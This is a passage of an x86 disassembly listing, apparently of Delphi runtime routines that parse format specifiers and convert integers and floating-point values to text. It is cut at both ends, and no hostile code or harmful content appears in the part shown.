sub_100057E8+2Bj ; sub_100057E8+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_10005B4F ; --------------------------------------------------------------------------- loc_1000582C: ; CODE XREF: sub_100057E8+34j cmp esi, ecx jz short loc_10005822 lodsb cmp al, 25h jz short loc_1000581E lea ebx, [esi-2] mov [ebp+var_18], ebx loc_1000583B: ; CODE XREF: sub_100057E8+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_10005847 cmp esi, ecx jz short loc_10005822 lodsb loc_10005847: ; CODE XREF: sub_100057E8+58j call sub_100058CA cmp al, 3Ah jnz short loc_1000585A mov [ebp+var_C], ebx cmp esi, ecx jz short loc_10005822 lodsb jmp short loc_1000583B ; --------------------------------------------------------------------------- loc_1000585A: ; CODE XREF: sub_100057E8+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_10005870 cmp esi, ecx jz short loc_10005822 lodsb call sub_100058CA loc_10005870: ; CODE XREF: sub_100057E8+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_10005912 pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_10005887 xor ebx, ebx loc_10005887: ; CODE XREF: sub_100057E8+9Bj cmp [ebp+var_19], 2Dh jnz short loc_10005897 sub edx, ecx jnb short loc_10005895 add ecx, edx xor edx, edx loc_10005895: ; CODE XREF: sub_100057E8+A7j rep movsb loc_10005897: ; CODE XREF: sub_100057E8+A3j xchg ebx, ecx sub edx, ecx jnb short loc_100058A1 add ecx, edx xor edx, edx loc_100058A1: ; CODE XREF: sub_100057E8+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_100058AF add ecx, edx xor edx, edx loc_100058AF: ; CODE XREF: sub_100057E8+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_100058C1 push edx lea eax, [ebp+var_10] call sub_100057DC pop edx loc_100058C1: ; CODE XREF: sub_100057E8+CDj pop ecx mov esi, [ebp+var_28] jmp loc_10005811 sub_100057E8 endp ; =============== S U B R O U T I N E ======================================= sub_100058CA proc near ; CODE XREF: sub_100057E8:loc_10005847p ; sub_100057E8+83p xor ebx, ebx cmp al, 2Ah jz short loc_100058F2 loc_100058D0: ; CODE XREF: sub_100058CA+20j cmp al, 30h jb short locret_10005911 cmp al, 39h ja short locret_10005911 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_100058EC lodsb jmp short loc_100058D0 ; --------------------------------------------------------------------------- loc_100058EC: ; CODE XREF: sub_100058CA+1Dj ; sub_100058CA+44j pop eax jmp loc_10005822 ; --------------------------------------------------------------------------- loc_100058F2: ; CODE XREF: sub_100058CA+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] jg short loc_1000590C inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_1000590C xor ebx, ebx loc_1000590C: ; CODE XREF: sub_100058CA+2Ej ; sub_100058CA+3Ej cmp esi, ecx jz short loc_100058EC lodsb locret_10005911: ; CODE XREF: sub_100058CA+8j ; sub_100058CA+Cj retn sub_100058CA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10005912 proc near ; CODE XREF: sub_100057E8+90p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10005468 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 100054B4 SIZE 00000034 BYTES and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] jg short loc_1000597F inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_10005939[edx*4] ; --------------------------------------------------------------------------- off_10005939 dd offset loc_100059CA ; DATA XREF: sub_10005912+20r dd offset loc_1000597D dd offset loc_10005A03 dd offset loc_10005ACA dd offset loc_10005A33 dd offset loc_10005AAB dd offset loc_10005A8B dd offset loc_1000597D dd offset loc_1000597D dd offset loc_1000597D dd offset loc_10005A44 dd offset loc_10005A6F dd offset loc_10005AC6 dd offset loc_10005A12 dd offset loc_1000597D dd offset loc_10005A4B dd offset loc_10005994 ; --------------------------------------------------------------------------- loc_1000597D: ; CODE XREF: sub_10005912+20j ; sub_10005912+B6j ... xor eax, eax loc_1000597F: ; CODE XREF: sub_10005912+Fj call sub_10005B3F mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_10005760 loc_10005994: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+67o lea esi, [ebp-49h] mov edx, [ebp-24h] cmp edx, 20h jbe short loc_100059A1 xor edx, edx loc_100059A1: ; CODE XREF: sub_10005912+8Bj mov ebx, ecx sub cl, 44h jz loc_100054B4 mov ecx, 10h cmp bl, 58h jz loc_100054B4 mov ecx, 0Ah cmp bl, 55h jz loc_100054B4 jmp short loc_1000597D ; --------------------------------------------------------------------------- loc_100059CA: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912:off_10005939o lea esi, [ebp-59h] mov edx, [ebp-24h] mov ebx, ecx cmp edx, 10h jbe short loc_100059D9 xor edx, edx loc_100059D9: ; CODE XREF: sub_10005912+C3j sub cl, 44h jz loc_10005468 mov ecx, 10h cmp bl, 58h jz loc_10005468 mov ecx, 0Ah cmp bl, 55h jz loc_10005468 jmp loc_1000597D ; --------------------------------------------------------------------------- loc_10005A03: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+2Fo cmp cl, 53h jnz loc_1000597D mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_10005A12: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+5Bo cmp cl, 53h jnz loc_1000597D cmp word ptr [eax], 1 jbe short loc_10005A30 mov edx, eax lea eax, [ebp-10h] call sub_100057B8 mov esi, [ebp-10h] jmp short loc_10005A7A ; --------------------------------------------------------------------------- loc_10005A30: ; CODE XREF: sub_10005912+10Dj ; sub_10005912+16Aj xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_10005A33: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+37o cmp cl, 53h jnz loc_1000597D mov esi, eax lodsb movzx ecx, al jmp short loc_10005A81 ; --------------------------------------------------------------------------- loc_10005A44: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+4Fo mov esi, offset loc_1000382C jmp short loc_10005A50 ; --------------------------------------------------------------------------- loc_10005A4B: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+63o mov esi, offset loc_10003880 loc_10005A50: ; CODE XREF: sub_10005912+137j add esi, [ebp-4] cmp cl, 53h jnz loc_1000597D mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_10005A7A ; --------------------------------------------------------------------------- loc_10005A6F: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+53o cmp cl, 53h jnz loc_1000597D mov esi, eax loc_10005A7A: ; CODE XREF: sub_10005912+11Cj ; sub_10005912+15Bj or esi, esi jz short loc_10005A30 mov ecx, [esi-4] loc_10005A81: ; CODE XREF: sub_10005912+130j cmp ecx, [ebp-24h] ja short loc_10005A87 retn ; --------------------------------------------------------------------------- loc_10005A87: ; CODE XREF: sub_10005912+172j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_10005A8B: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+3Fo cmp cl, 53h jnz loc_1000597D mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_10005AA5 repne scasb jnz short loc_10005AA5 dec edi loc_10005AA5: ; CODE XREF: sub_10005912+18Cj ; sub_10005912+190j mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_10005AAB: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+3Bo cmp cl, 50h jnz loc_1000597D mov edx, 8 mov ecx, 10h lea esi, [ebp-59h] jmp loc_10005468 ; --------------------------------------------------------------------------- loc_10005AC6: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+57o mov bh, 1 jmp short loc_10005ACC ; --------------------------------------------------------------------------- loc_10005ACA: ; CODE XREF: sub_10005912+20j ; DATA XREF: sub_10005912+33o mov bh, 0 loc_10005ACC: ; CODE XREF: sub_10005912+1B6j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_10005B14 mov bl, 1 cmp cl, 45h jz short loc_10005B14 mov bl, 2 cmp cl, 46h jz short loc_10005AF5 mov bl, 3 cmp cl, 4Eh jz short loc_10005AF5 cmp cl, 4Dh jnz loc_1000597D mov bl, 4 loc_10005AF5: ; CODE XREF: sub_10005912+1CFj ; sub_10005912+1D6j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_10005B26 mov edx, 2 cmp cl, 4Dh jnz short loc_10005B26 movzx edx, ds:byte_1000A688 jmp short loc_10005B26 ; --------------------------------------------------------------------------- loc_10005B14: ; CODE XREF: sub_10005912+1C1j ; sub_10005912+1C8j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_10005B26 mov eax, 0Fh loc_10005B26: ; CODE XREF: sub_10005912+1EDj ; sub_10005912+1F7j ... push ebx push eax push edx lea eax, [ebp-69h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_10005CB8 mov ecx, eax lea esi, [ebp-69h] retn sub_10005912 endp ; =============== S U B R O U T I N E ======================================= sub_10005B3F proc near ; CODE XREF: sub_10005912:loc_1000597Fp ; sub_100057E8:loc_10005B4Fp push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_10003620 pop eax pop ebx retn sub_10005B3F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100057E8 loc_10005B4F: ; CODE XREF: sub_100057E8+3Fj call sub_10005B3F pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_100057E8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005B60 proc near ; CODE XREF: CODE:1000688Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_10005B97 test esi, esi jz short loc_10005B97 mov eax, esi call sub_100056AC push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_100057E8 mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_10005B99 ; --------------------------------------------------------------------------- loc_10005B97: ; CODE XREF: sub_10005B60+Ej ; sub_10005B60+12j xor eax, eax loc_10005B99: ; CODE XREF: sub_10005B60+35j pop edi pop esi pop ebx pop ebp retn 8 sub_10005B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005BA0 proc near ; CODE XREF: sub_100069B0+34p ; sub_10006A6C+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_10005BB4 pop ebp retn 4 sub_10005BA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005BB4 proc near ; CODE XREF: sub_10005BA0+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_10003894 cmp eax, 0C00h jge short loc_10005C05 mov eax, [ebp+var_4] call sub_10003894 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_100057E8 jmp short loc_10005C11 ; --------------------------------------------------------------------------- loc_10005C05: ; CODE XREF: sub_10005BB4+29j mov eax, [ebp+var_4] call sub_10003894 mov ebx, eax mov eax, ebx loc_10005C11: ; CODE XREF: sub_10005BB4+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_10005C5B jmp short loc_10005C4A ; --------------------------------------------------------------------------- loc_10005C1A: ; CODE XREF: sub_10005BB4+9Bj add ebx, ebx mov eax, esi call sub_10003620 mov eax, esi mov edx, ebx call sub_100039C8 mov eax, [ebp+var_4] call sub_10003894 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_100057E8 loc_10005C4A: ; CODE XREF: sub_10005BB4+64j mov edx, ebx dec edx cmp eax, edx jge short loc_10005C1A mov edx, esi xchg eax, edx call sub_100039C8 jmp short loc_10005C69 ; --------------------------------------------------------------------------- loc_10005C5B: ; CODE XREF: sub_10005BB4+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_10003710 loc_10005C69: ; CODE XREF: sub_10005BB4+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_10005BB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10005C74 proc near ; CODE XREF: sub_10005DC1+8Dp push esi xor esi, esi stosb or bl, bl jnz short loc_10005C80 xor edx, edx jmp short loc_10005C8A ; --------------------------------------------------------------------------- loc_10005C80: ; CODE XREF: sub_10005C74+6j or edx, edx jge short loc_10005C8A mov al, 2Dh neg edx jmp short loc_10005C90 ; --------------------------------------------------------------------------- loc_10005C8A: ; CODE XREF: sub_10005C74+Aj ; sub_10005C74+Ej or ah, ah jz short loc_10005C91 mov al, ah loc_10005C90: ; CODE XREF: sub_10005C74+14j stosb loc_10005C91: ; CODE XREF: sub_10005C74+18j xchg eax, edx push eax mov ebx, esp loc_10005C95: ; CODE XREF: sub_10005C74+32j ; sub_10005C74+36j xor edx, edx div ds:flt_10009108[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_10005C95 or ecx, ecx jg short loc_10005C95 loc_10005CAC: ; CODE XREF: sub_10005C74+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_10005CAC pop eax pop esi retn sub_10005C74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005CB8 proc near ; CODE XREF: sub_10005912+222p var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 10005F85 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_1000A687 mov [ebp+var_5], al mov al, ds:byte_1000A686 mov [ebp+var_6], al mov eax, ds:dword_1000A680 mov [ebp+var_C], eax mov al, ds:byte_1000A684 mov [ebp+var_D], al mov al, ds:byte_1000A685 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_10005D14 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_10005D0A mov eax, 2 loc_10005D0A: ; CODE XREF: sub_10005CB8+4Bj cmp eax, 12h jle short loc_10005D14 mov eax, 12h loc_10005D14: ; CODE XREF: sub_10005CB8+43j ; sub_10005CB8+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_10005D26 mov eax, [ebp+arg_0] loc_10005D26: ; CODE XREF: sub_10005CB8+69j push eax lea eax, [ebp+var_2C] call sub_10005F8C mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_10005D5A mov ecx, eax call sub_10005DB7 lea esi, dword_10005DA8[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_10005D87 ; --------------------------------------------------------------------------- loc_10005D5A: ; CODE XREF: sub_10005CB8+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_10005D76 cmp bl, 4 ja short loc_10005D74 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_10005D76 loc_10005D74: ; CODE XREF: sub_10005CB8+B1j mov bl, 0 loc_10005D76: ; CODE XREF: sub_10005CB8+ACj ; sub_10005CB8+BAj lea ebx, off_10005D94[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_10005D87: ; CODE XREF: sub_10005CB8+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_10005F85 sub_10005CB8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_10005D94 dd offset sub_10005DC1 ; DATA XREF: sub_10005CB8:loc_10005D76o dd offset loc_10005E1D dd offset sub_10005E54 dd offset sub_10005E54 dd offset sub_10005EBE dword_10005DA8 dd 4E464E49h ; DATA XREF: sub_10005CB8+8Fr ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_10005DAE proc near ; CODE XREF: sub_10005DC1+61p ; sub_10005DC1:loc_10005E30p ... lodsb or al, al jnz short locret_10005DB6 mov al, 30h dec esi locret_10005DB6: ; CODE XREF: sub_10005DAE+3j retn sub_10005DAE endp ; =============== S U B R O U T I N E ======================================= sub_10005DB7 proc near ; CODE XREF: sub_10005CB8+8Ap ; sub_10005DC1p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_10005DC0 mov al, 2Dh stosb locret_10005DC0: ; CODE XREF: sub_10005DB7+4j retn sub_10005DB7 endp ; =============== S U B R O U T I N E ======================================= sub_10005DC1 proc near ; DATA XREF: CODE:off_10005D94o call sub_10005DB7 movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_10005DEE cmp ecx, 0FFFFFFFDh jl short loc_10005DEE or ecx, ecx jg short loc_10005DF4 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_10005E1C mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_10005E08 ; --------------------------------------------------------------------------- loc_10005DEE: ; CODE XREF: sub_10005DC1+Ej ; sub_10005DC1+13j mov ecx, 1 inc edx loc_10005DF4: ; CODE XREF: sub_10005DC1+17j ; sub_10005DC1+39j lodsb or al, al jz short loc_10005E10 stosb loop loc_10005DF4 lodsb or al, al jz short loc_10005E14 mov ah, al mov al, [ebp-5] stosw loc_10005E08: ; CODE XREF: sub_10005DC1+2Bj ; sub_10005DC1+4Dj lodsb or al, al jz short loc_10005E14 stosb jmp short loc_10005E08 ; --------------------------------------------------------------------------- loc_10005E10: ; CODE XREF: sub_10005DC1+36j mov al, 30h rep stosb loc_10005E14: ; CODE XREF: sub_10005DC1+3Ej ; sub_10005DC1+4Aj or edx, edx jz short locret_10005E1C xor eax, eax jmp short loc_10005E3A ; --------------------------------------------------------------------------- locret_10005E1C: ; CODE XREF: sub_10005DC1+1Fj ; sub_10005DC1+55j retn ; --------------------------------------------------------------------------- loc_10005E1D: ; DATA XREF: CODE:10005D98o call sub_10005DB7 call sub_10005DAE mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_10005E30: ; CODE XREF: sub_10005DC1+75j call sub_10005DAE stosb loop loc_10005E30 mov ah, 2Bh loc_10005E3A: ; CODE XREF: sub_10005DC1+59j mov ecx, [ebp+8] cmp ecx, 4 jbe short loc_10005E44 xor ecx, ecx loc_10005E44: ; CODE XREF: sub_10005DC1+7Fj mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_10005C74 retn sub_10005DC1 endp ; =============== S U B R O U T I N E ======================================= sub_10005E54 proc near ; DATA XREF: CODE:10005D9Co ; CODE:10005DA0o call sub_10005DB7 loc_10005E59: ; CODE XREF: sub_10005EBE:loc_10005F07p mov edx, [ebp+8] cmp edx, 12h jb short loc_10005E66 mov edx, 12h loc_10005E66: ; CODE XREF: sub_10005E54+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_10005E73 mov al, 30h stosb jmp short loc_10005E9D ; --------------------------------------------------------------------------- loc_10005E73: ; CODE XREF: sub_10005E54+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_10005E85 mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_10005E85: ; CODE XREF: sub_10005E54+25j ; sub_10005E54+3Bj ... call sub_10005DAE stosb dec ecx jz short loc_10005E9D dec ebx jnz short loc_10005E85 mov al, [ebp-6] test al, al jz short loc_10005E85 stosb mov bl, 3 jmp short loc_10005E85 ; --------------------------------------------------------------------------- loc_10005E9D: ; CODE XREF: sub_10005E54+1Dj ; sub_10005E54+38j or edx, edx jz short locret_10005EBD mov al, [ebp-5] test al, al jz short loc_10005EA9 stosb loc_10005EA9: ; CODE XREF: sub_10005E54+52j jecxz short loc_10005EB4 mov al, 30h loc_10005EAD: ; CODE XREF: sub_10005E54+5Ej stosb dec edx jz short locret_10005EBD inc ecx jnz short loc_10005EAD loc_10005EB4: ; CODE XREF: sub_10005E54:loc_10005EA9j ; sub_10005E54+67j call sub_10005DAE stosb dec edx jnz short loc_10005EB4 locret_10005EBD: ; CODE XREF: sub_10005E54+4Bj ; sub_10005E54+5Bj retn sub_10005E54 endp ; =============== S U B R O U T I N E ======================================= sub_10005EBE proc near ; DATA XREF: CODE:10005DA4o xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_10005ED6 mov bl, [ebp-0Eh] mov ecx, 40Fh loc_10005ED6: ; CODE XREF: sub_10005EBE+Ej cmp bl, cl jbe short loc_10005EDC mov bl, cl loc_10005EDC: ; CODE XREF: sub_10005EBE+1Aj add bl, ch lea ebx, dword_10005F21[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_10005EED: ; CODE XREF: sub_10005EBE+51j mov al, [ebx] cmp al, 40h jz short locret_10005F11 push ecx push ebx cmp al, 24h jz short loc_10005F00 cmp al, 2Ah jz short loc_10005F07 stosb jmp short loc_10005F0C ; --------------------------------------------------------------------------- loc_10005F00: ; CODE XREF: sub_10005EBE+39j call sub_10005F12 jmp short loc_10005F0C ; --------------------------------------------------------------------------- loc_10005F07: ; CODE XREF: sub_10005EBE+3Dj call loc_10005E59 loc_10005F0C: ; CODE XREF: sub_10005EBE+40j ; sub_10005EBE+47j pop ebx pop ecx inc ebx loop loc_10005EED locret_10005F11: ; CODE XREF: sub_10005EBE+33j retn sub_10005EBE endp ; =============== S U B R O U T I N E ======================================= sub_10005F12 proc near ; CODE XREF: sub_10005EBE:loc_10005F00p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_10005F1F mov ecx, [esi-4] rep movsb loc_10005F1F: ; CODE XREF: sub_10005F12+6j pop esi retn sub_10005F12 endp ; --------------------------------------------------------------------------- dword_10005F21 dd 40402A24h ; DATA XREF: sub_10005EBE+20r ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_10005CB8 loc_10005F85: ; CODE XREF: sub_10005CB8+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_10005CB8 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005F8C proc near ; CODE XREF: sub_10005CB8+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100061AF SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_10005FAF call sub_100060DB jmp loc_100061AF ; --------------------------------------------------------------------------- loc_10005FAF: ; CODE XREF: sub_10005F8C+17j call sub_10005FB9 jmp loc_100061AF sub_10005F8C endp ; =============== S U B R O U T I N E ======================================= sub_10005FB9 proc near ; CODE XREF: sub_10005F8C:loc_10005FAFp mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_10005FE4 cmp eax, 7FFFh jnz short loc_10005FEF test word ptr [esi+6], 8000h jz short loc_10005FE6 cmp dword ptr [esi], 0 jnz short loc_10005FE3 cmp dword ptr [esi+4], 80000000h jz short loc_10005FE6 loc_10005FE3: ; CODE XREF: sub_10005FB9+1Fj inc eax loc_10005FE4: ; CODE XREF: sub_10005FB9+Bj ; sub_10005FB9+AFj xor edx, edx loc_10005FE6: ; CODE XREF: sub_10005FB9+1Aj ; sub_10005FB9+28j mov byte ptr [ebx+3], 0 jmp loc_100060BC ; --------------------------------------------------------------------------- loc_10005FEF: ; CODE XREF: sub_10005FB9+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_1000283C pop ebx frndint mov edi, [ebp-4] fld ds:tbyte_100090FC[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_1000603A fidiv ds:flt_10009108[edi] inc dword ptr [ebp-8] loc_1000603A: ; CODE XREF: sub_10005FB9+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_10006046: ; CODE XREF: sub_10005FB9+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_10006046 xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_1000606D xor eax, eax jmp loc_10005FE4 ; --------------------------------------------------------------------------- loc_1000606D: ; CODE XREF: sub_10005FB9+ABj cmp edi, [ebp+0Ch] jb short loc_10006075 mov edi, [ebp+0Ch] loc_10006075: ; CODE XREF: sub_10005FB9+B7j cmp edi, 12h jnb short loc_100060A1 cmp byte ptr [ebx+edi+3], 35h jb short loc_100060A6 loc_10006081: ; CODE XREF: sub_10005FB9+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_10006096 inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_10006081 jmp short loc_100060B5 ; --------------------------------------------------------------------------- loc_10006096: ; CODE XREF: sub_10005FB9+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_100060B5 ; --------------------------------------------------------------------------- loc_100060A1: ; CODE XREF: sub_10005FB9+BFj mov edi, 12h loc_100060A6: ; CODE XREF: sub_10005FB9+C6j ; sub_10005FB9+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_100060C7 cmp byte ptr [ebx+edi+3], 30h jz short loc_100060A6 loc_100060B5: ; CODE XREF: sub_10005FB9+DBj ; sub_10005FB9+E6j mov dx, [esi+8] loc_100060B9: ; CODE XREF: sub_10005FB9+110j mov eax, [ebp-8] loc_100060BC: ; CODE XREF: sub_10005FB9+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_100060C7: ; CODE XREF: sub_10005FB9+F3j ; DATA XREF: sub_100060DB+60r xor edx, edx jmp short loc_100060B9 sub_10005FB9 endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_100060DB proc near ; CODE XREF: sub_10005F8C+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_100061A1 or edx, edx jns short loc_100060F5 neg edx neg eax sbb edx, 0 loc_100060F5: ; CODE XREF: sub_100060DB+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_10006100 xor edi, edi loc_10006100: ; CODE XREF: sub_100060DB+21j cmp edi, 4 jl short loc_10006124 mov edi, 4 loc_1000610A: ; CODE XREF: sub_100060DB+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_1000610A dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_10006124: ; CODE XREF: sub_100060DB+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_10006142 mov edi, [ebp-4] fidiv dword ptr loc_100060C7[edi+eax*4] loc_10006142: ; CODE XREF: sub_100060DB+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_10006168 mov ecx, 9 loc_10006152: ; CODE XREF: sub_100060DB+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_1000617B mov al, ah and al, 0Fh jnz short loc_10006182 dec ecx jnz short loc_10006152 jmp short loc_100061A1 ; --------------------------------------------------------------------------- loc_10006168: ; CODE XREF: sub_100060DB+70j mov al, cl add al, 